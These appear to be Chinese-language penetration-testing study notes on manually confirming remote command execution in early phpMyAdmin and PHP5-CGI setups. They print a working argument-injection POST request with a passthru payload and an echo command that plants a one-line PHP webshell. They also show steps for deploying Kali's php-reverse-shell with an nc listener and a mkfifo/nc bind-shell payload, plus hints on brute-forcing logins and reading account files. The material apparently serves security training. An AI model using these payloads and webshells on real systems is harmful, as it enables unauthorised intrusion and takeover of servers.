手动漏洞挖掘
即扫描后,如何对发现的漏洞告警进行验证。
#默认安装
流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格安全性的配置,经常有系统服务以最高权限运行。
漏洞类型--远程命令执行
1、phpMyadmin
安装在web服务器中的web接口,专门用来管理MySQL数据库。对于早期版本,安装后若是没有做安全配置,对敏感路径进行删除,则有可能留下安全隐患,其中最明显的为setup。
a.探索PHP网站(可根据banner等信息判断)的phpmyadmin目录是否可以访问(扫描工具/手动爬网)
###有账号密码限制,可尝试爆破###
b.尝试../phpMyAdmin/setup目录是否可以访问【可以不需要身份认证的情况下,对服务器进行配置】
###安全最佳实践角度:不允许从公网访问phpMyAdmin目录或禁用访问setup目录
c.早期的phpmyadmin有漏洞【可通过在URL地址编辑或者定制发送的指令,使其执行一个PHP页面】
例如:POST http://192.168.20.10/phpMyAdmin/?-d+allow_url_include%3d1+-d
+auto_prepend_file%3dphp://input HTTP/1.1 #修改服务器中的php.ini文件
Host: 192.168.20.10
<?php
passthru(‘id‘);
die(); #后面的指令不执行,可屏蔽服务器返回的html代码等杂信息
?>#编辑一条配置指令来修改php.ini文件,可编写任何功能的PHP页面【可调用系统功能,passthru()】
#可能运行web服务器进程的用户账号会被限制为www-data之类的普通用户账号,则需经过提权,才能完全控制服务器
Burpsuite重放
#已获得www-data用户权限,可进行ls、cat等操作【pwd:查看当前路径;cat etc/password:查看用户账号】
#搜索PHP文件中是否用硬编码的账号密码
#尝试写入网页木马,控制服务器注:此漏洞有可能不被扫描器扫出来,可自己手工验证
d.网页木马
kali军火库中可以找到现成的网页木马静态木马webshell,通过浏览器去访问
例如:echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/3.php【最简单的木马】“\”防止在上传过程中,变量被过滤
在浏览器中执行命令【注:无法直接访问3.php目录,需加问号再执行】
反弹shell【提交一个请求(包含一个反弹shell)】
#账号一般还是会是普通用户【kali中有各种类型的shell】[email protected]:/usr/share/webshells# ls asp aspx cfm jsp perl php [email protected]:/usr/share/webshells# cd php [email protected]:/usr/share/webshells/php# ls findsock.c php-findsock-shell.php qsd-php-backdoor.php php-backdoor.php php-reverse-shell.php simple-backdoor.php [email protected]:/usr/share/webshells/php# cp php-reverse-shell.php /root/3.php [email protected]:/usr/share/webshells/php##修改shell中反弹连接的IP
#使用nc侦听反弹端口1234【nc终端无法使用tab键】
#将shell代码复制粘贴进POST,go发送【此方法相对隐蔽,不易发现】
############################################################################当一些命令如ifconfig无法使用时
#################################################################################
2、CGI模块【Ubuntu / Debian 默认安装PHP5-CGI】
#可直接访问/cgi-bin/php5和/cgi-bin/php(这两个目录大部分无法爬取)#因为其不在/var/www目录下
#定制编码shellcode
#使服务器打开一个端口,然后再使用nc去连接获得shell
<?phpecho system(‘mkfifo /tmp/pipe;sh /tmp/pipe | nc -nlp 4444 > /tmp/pipe‘);
?>
#若有防火墙,需确定防火墙允许通过